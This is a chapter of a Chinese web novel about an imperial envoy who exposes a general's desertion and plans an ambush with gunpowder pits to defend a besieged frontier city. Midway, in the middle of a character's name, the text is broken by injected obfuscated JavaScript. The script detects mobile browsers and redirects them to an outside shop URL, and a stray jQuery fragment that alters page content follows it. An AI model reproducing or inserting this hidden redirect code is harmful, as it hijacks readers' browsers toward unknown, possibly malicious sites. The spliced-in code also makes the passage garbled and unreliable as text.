夕阳完全沉入地平线，最后一抹余晖将城墙染成暗红色。萧云澜走下指挥台，李茂才跟在他身后，低声汇报着陷阱布置的进度。城墙上的民壮们已经恢复了表面的平静，但每个人的眼神里都多了一丝决绝。萧云澜走到南城门内侧，蹲下身，手指拂过地面上几乎看不见的伪装土层。土层下，是深达两丈的陷坑和十桶火药。他站起身，望向缓缓关闭的城门缝隙，城外狼廷营寨的灯火如繁星点点。今夜子时，这扇门会再次打开，迎接的不是逃亡，而是一场精心策划的死亡盛宴。
“大人。”李茂才的声音带着迟疑，“庞将军那边……真的会走吗？”
萧云澜没有回头，目光依然盯着城外：“亥时三刻，主力移营。这是赵四用命换来的消息。”
“那我们……”
“我们按计划行事。”萧云澜转身，拍了拍李茂才的肩膀，“去把各队头目都叫来，包括戊字营的几位校尉。半个时辰后，在府衙议事厅集合。”
李茂才欲言又止，最终只是深深一揖，转身快步离去。
萧云澜独自站在城门阴影里，听着城墙上的脚步声、低语声、武器碰撞的金属声。空气里弥漫着焦油和泥土混合的气味，还有远处飘来的马粪臭。他闭上眼睛，深吸一口气——前世的记忆碎片在脑海中闪过：诏狱的腐臭、弟弟的惨叫、柳如烟那张温婉面具下的冷笑。这一世，他绝不会再让任何人决定他的生死。
半个时辰后，府衙议事厅。
三十余人挤在厅内，火把将每个人的脸照得明暗不定。左侧是黑石堡旧部的七名小队长，个个面色凝重；右侧是民壮头目，大多是朔方本地乡绅或商号掌柜，此刻交头接耳，神色惶惶；中间站着五名戊字营校尉，披甲按刀，眼神警惕地扫视着全场。
萧云澜站在主位前，身后墙上挂着朔方城防图。他没有说话，只是静静地看着众人，直到厅内的窃窃私语渐渐平息。
“诸位。”萧云澜开口，声音不高，却清晰地传到每个人耳中，“今夜召集大家，是要说三件事。第一，狼廷前锋三千骑已退至五里外扎营，明日必会再攻。第二，我已将城中老弱妇孺七百余人，分批转移至东南三十里的鹰嘴崖山寨，那里易守难攻，存粮可支半月。”
人群中响起一阵骚动。几名乡绅明显松了口气，但戊字营的校尉们却皱起了眉头。
“第三件事。”萧云澜顿了顿，从怀中取出那块染血的布条，展开，举在火把前，“这是从庞煊将军亲兵赵四尸体上找到的。赵四昨夜冒死出营，将消息送到我手中，随后被追兵射杀。”
布条上，歪歪扭扭的血字在火光下触目惊心：“亥时三刻，主力移营东南，留八百守军及萧部为饵。将军令：若狼廷攻急，可弃南墙。”
死寂。
然后，炸开了锅。
“什么？！”一名黑石堡小队长猛地站起，“庞将军要弃城？！”
“不可能！”戊字营一名络腮胡校尉吼道，“庞将军怎会……”
“怎么不可能？”萧云澜冷冷打断他，“赵四是庞将军贴身亲兵，跟了他七年。这布条上的字迹，诸位若有在庞将军帐下当过文书，应该认得出来。”
那校尉脸色一白，张了张嘴，却说不出话。
“庞将军的主力，今夜亥时三刻就会秘密撤离朔方。”萧云澜的声音像冰锥一样刺进每个人的耳朵，“只留你们戊字营八百人，加上我手下这些民壮，总共不到两千人，守这座三面受敌的孤城。而城外，是三千狼廷前锋，后面还有至少两万狼廷主力正在赶来。”
他扫视全场：“庞将军给诸位的命令是什么？‘固守待援’？援军在哪里？东南方向？那是庞将军撤离的方向，他巴不得我们在这里拖住狼廷人，给他争取逃跑的时间！”
“你胡说！”另一名年轻校尉拔刀出鞘半寸，“庞将军忠君爱国，岂会……”
“忠君爱国？”萧云澜笑了，那笑容里没有一丝温度，“那请问，庞将军为何要将城中存粮大半运走？为何要将最好的战马全部调往中军？为何昨夜就开始秘密打包辎重？这些，你们戊字营的兄弟难道没看见？”
几名校尉面面相觑，脸色越来越难看。
一名民壮头目颤声问道：“大人……那、那我们怎么办？逃吗？”
“逃？”萧云澜摇头，“往哪逃？东南是庞将军的主力，他不会让我们这支‘弃子’跟上去拖累他。北面是狼廷，西面是荒漠，东面是断崖。我们无处可逃。”
他走到地图前，手指重重按在朔方城的位置：“但我们也不用逃。”
“庞将军想让我们当饵，吸引狼廷主力来攻，好让他安全撤离。好，我们就当这个饵——但不是等死的饵，是带钩的饵，是能反咬一口的毒饵！”
萧云澜转身，目光如炬：“我已制定反击计划。今夜子时，庞将军主力撤离后，我们将在南城门制造‘内讧哗变’假象，打开城门，引狼廷前锋入城。城门内，我已命人挖了陷坑，埋了火药。狼廷骑兵一旦冲进来——”
他做了个爆炸的手势。
“与此同时，陆青崖将军将率五十精锐骑兵从侧翼杀出，我们里应外合，吃掉这三千前锋。”萧云澜的声音斩钉截铁，“三千狼廷骑兵的人头，足够我们向朝廷请功。到时候，临阵脱逃的是庞煊，歼敌立功的是我们。朝廷要治罪，也治不到我们头上！”
厅内一片寂静，只有火把噼啪作响。
许久，那名络腮胡校尉哑声道：“萧大人……您说的计划，有几成把握？”
“五成。”萧云澜毫不避讳，“若按兵不动，等狼廷主力抵达，我们守城的把握，连一成都没有。”
“那若是失败……”
“若是失败。”萧云澜平静地说，“无非是早死几个时辰。但若是成功，我们不仅能活，还能立功，还能让庞煊那个叛将付出代价！”
他走到厅中央，一字一句道：“我不强迫任何人。愿意留下的，现在站到左边。想走的，我不拦着，但出了这个门，就别想再回来。不过我要提醒诸位——独自逃出朔方，在这草原荒漠里，能活过三天的，百中无一。”
沉默。
然后，黑石堡的七名小队长率先起身，走到左边。
民壮头目们犹豫片刻，有三人咬牙站了过去，另外两人低着头，匆匆退出厅外。
戊字营的五名校尉僵在原地。络腮胡校尉盯着萧云澜，忽然问：“萧大人，您为何不逃？您是钦差，若想走，庞将军未必敢拦。”
“因为我是萧云澜。”萧云澜淡淡道，“萧家的人，可以战死，可以冤死，但绝不能像狗一样被主人抛弃后，摇尾乞怜地逃走。”
他顿了顿，声音低了些：“更何况，我弟弟还在京城。我若临阵脱逃，他在朝中如何自处？萧家满门忠烈的名声，不能毁在我手里。”
络腮胡校尉深吸一口气，忽然单膝跪地：“戊字营校尉周猛，愿随大人死战！”
另外四名校尉对视一眼，齐齐跪下：“愿随大人死战！”
萧云澜扶起周猛：“好。现在，听我部署。”
他快步走回地图前：“周校尉，你带戊字营三百人，负责城墙防御。子时之前，一切如常，绝不能让庞将军的人看出端倪。子时一到，看我南城门火把信号——火把左右摇晃三次，你们就在城头制造混乱，喊杀声要大，但要慢慢向城门方向移动，做出‘内讧溃退’的假象。”
“遵命！”
“黑石堡各队，分守城门两侧民居。狼廷人入城后，等陷坑火药爆发，立刻从两侧杀出，截断他们退路。”
“是！”
“民壮队，负责火油罐和弩车。记住，火油罐不要急着扔，等狼廷骑兵大半入城，堵在陷坑前时，再往人堆里砸！”
“明白！”
萧云澜部署完毕，看向李茂才：“李大人，你带二十人，现在就去库房，把剩下的三百斤火药全部运到南城门。再准备五十面破旗，浸上猪血，子时前挂在城头。”
“下官这就去办。”
众人领命而去，厅内很快只剩下萧云澜和周猛。
周猛犹豫了一下，低声道：“大人，还有一事……庞将军撤离时，可能会下令烧毁带不走的粮草辎重。若真如此，我们就算打赢了，也撑不过十天。”
萧云澜从怀中取出一封信：“所以，我需要你派一队心腹，趁庞将军移营时的混乱，潜入中军粮仓，能抢多少是多少。抢不到，就放火——绝不能留给狼廷人。”
周猛接过信，重重点头。
“还有。”萧云澜又从袖中取出另一封火漆密信，“这封信，我要交给陆将军，让他立刻出城。”
半刻钟后，陆青崖匆匆赶到府衙。
他一身轻甲沾满尘土，脸上还有白日奇袭时留下的血痕。萧云澜将密信递给他：“陆兄，有件比今夜反击更重要的事，要托付给你。”
陆青崖接过信，看见信封上“阿史那云亲启”几个字，瞳孔一缩：“大人要我去找苍狼部？”
“对。”萧云澜压低声音，“庞煊弃城而逃，朔方已成孤城。就算我们今夜能吃掉三千前锋，等狼廷主力抵达，依然守不住。唯一的生路，在外。”
他走到窗边，推开窗户，北方草原的夜风灌进来，带着草叶和露水的清冽气息：“阿史那云的苍狼部，是狼廷内部与主战派不和的势力。她父亲老首领被主战派害死，她被迫臣服，但心中必有怨恨。而且……她欠我一个人情。”
陆青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778295|207260||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
崖想起数月前，萧云澜曾通过商队，暗中给苍狼部送过一批治伤药材，救了部落里数十名染疫的孩童。
“这封信里，我写明了庞煊弃城的证据，以及狼廷主力南下的真实意图——他们不仅要打朔方，还要直扑雁门关，切断大周北境防线。”萧云澜转身，目光灼灼，“你带二十名最精锐的骑兵，趁夜色出城，绕开狼廷前锋营寨，北上寻找苍狼部。告诉阿史那云，若她愿与我们联手，事成之后，我可向朝廷奏请，册封她为朔北安抚使，苍狼部世代镇守朔方以北草原，与大周互市通商，永不为敌。”
陆青崖握紧密信：“若她不答应呢？”
“那你就回来。”萧云澜平静地说，“但我觉得她会答应。阿史那云不是甘为人下的女子，她需要这个机会，摆脱狼廷主战派的控制，为父报仇，重振部落。”
他拍了拍陆青崖的肩膀：“此事凶险，北上途中可能遭遇狼廷游骑，也可能根本找不到苍狼部。但这是朔方唯一的生路，也是大周北境唯一的转机。陆兄，拜托了。”
陆青崖单膝跪地：“末将领命！必不负大人所托！”
“记住，若遇险，信可毁，人必须活着回来。”萧云澜扶起他，“去吧，现在就出发。从西城门走，那边防守最弱，我已经安排好了。”
陆青崖重重点头，转身大步离去。甲叶碰撞声渐行渐远，最终消失在夜色里。
萧云澜独自站在空荡的议事厅中。火把将他的影子拉得很长，投在墙上，随着火焰摇曳不定。他走到地图前，手指轻轻划过朔方到苍狼部可能驻地的路线——八百里草原，危机四伏。
窗外传来更鼓声：戌时三刻。
距离庞煊主力撤离，还有一个时辰。
距离子时的反击，还有两个半时辰。
距离狼廷主力抵达，可能还有三天，也可能只有一天。
萧云澜闭上眼睛，脑海中浮现出弟弟云澈的脸。那孩子此刻应该在京城的“格致院”里，埋头研究抗旱作物的培育图纸吧？他一定不知道，千里之外的兄长，正站在生死边缘。
“云澈……”萧云澜低声自语，“这一世，哥哥绝不会再让你一个人。”
他睁开眼，眼神重新变得锐利如刀。
走出府衙时，夜空无月，只有繁星点点。朔方城的街道上空无一人，家家户户门窗紧闭，偶尔有婴儿的啼哭声从深巷传来，很快又被母亲捂住。萧云澜沿着青石板路走向南城墙，脚步声在寂静的夜里格外清晰。
城墙上，周猛正在巡视。看见萧云澜，他快步迎上来：“大人，庞将军那边……开始动了。”
萧云澜顺着周猛手指的方向望去——主城方向，隐约有火把长龙在移动，正缓缓向东南蜿蜒。没有号角，没有鼓声，只有压抑的马蹄和车轮滚动声，像一条沉默的巨蛇在夜色中爬行。
“多少人？”萧云澜问。
“至少五千。”周猛声音发苦，“战马全带走了，粮车装了三百多辆。留在营里的，都是老弱病残和带不走的破烂。”
萧云澜沉默地看着那条火把长龙渐行渐远。
曾几何时，庞煊也是大周名将，镇守北境十余年，战功赫赫。是什么时候开始变的？是朝廷年年克扣军饷的时候？是世家子弟靠关系爬到他头上的时候？还是他发现自己拼死守住的国土，在京城那些贵人眼里，不过是一串可以交易的数字的时候？
人心易变，忠义难守。
“让他们走。”萧云澜转身，不再看那条远去的火龙，“传令下去，子时之前，所有人不得擅离岗位。违令者，斩。”
“是！”
萧云澜登上城墙最高处，扶着冰冷的墙垛，望向北方。那里，狼廷营寨的灯火比昨夜更密了些，隐约能听见马匹的嘶鸣和篝火燃烧的噼啪声。更远的黑暗深处，是苍茫无际的草原，是陆青崖正在冒险穿越的死亡之地，也是阿史那云和苍狼部可能驻牧的远方。
夜风吹过，带着草原特有的草腥味和远处营寨飘来的烤肉香气。萧云澜深吸一口气，那气息冰凉地灌入肺腑，让他精神一振。
这一战，他不能输。
不仅为了复仇，不仅为了活命，更为了那个在京城等他回去的弟弟，为了萧家世代守护的“三才”传承，为了这片土地上那些还在挣扎求生的百姓。
他摸了摸怀中的钦差金令，金属的冰凉触感透过衣料传来。
然后，他转身走下城墙，开始为子时的生死赌局，做最后的准备。
而此刻，千里之外的京城，“格致院”后院的灯火还亮着。萧云澈揉了揉发酸的眼睛，放下手中的炭笔，图纸上密密麻麻的算式和图形在烛光下微微晃动。他推开窗，想透透气，却看见院墙外，几个黑影一闪而过。